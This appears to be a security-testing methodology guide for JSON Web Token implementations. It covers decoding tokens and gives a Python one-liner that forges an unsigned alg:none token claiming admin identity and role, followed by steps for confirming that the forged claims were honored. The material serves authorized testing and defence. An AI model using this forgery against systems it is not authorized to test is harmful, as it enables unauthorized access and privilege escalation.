JWT Security Testing

Purpose

Test JWT implementations for signature validation bypasses, claim tampering, algorithm downgrades, and cross-service token acceptance.

Preconditions

• At least one valid JWT token (operator-supplied, intercepted, or from a login)
• Ability to send requests with the target's auth mechanism (Bearer header, cookie, custom header)

Attack Surface Signals

• JWT tokens in Authorization headers, cookies, or URL parameters
• alg field in decoded header
• Tokens that persist across sessions
• Multiple services sharing the same token issuer

Methodology

Decode and Analyze the Token First

# Decode header and payload (never paste real tokens into online tools)
echo "eyJ..." | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "eyJ..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Record: algorithm, issuer, audience, expiry, subject, role claims, custom claims.

alg:none Attack

# Forge a token with alg:none and modified claims
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','exp':9999999999}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Send the forged token to a protected endpoint. CRITICAL: A 200 response does NOT prove the attack worked. You must verify:

1. The CONTROL: the same endpoint WITHOUT the token (or with an invalid token) returns 401/403
2. The forged token changes the identity/privilege: the response returns data belonging to the forged sub, or grants access to admin-only resources
3. The forged claims were actually HONORED (not just parsed and ignored)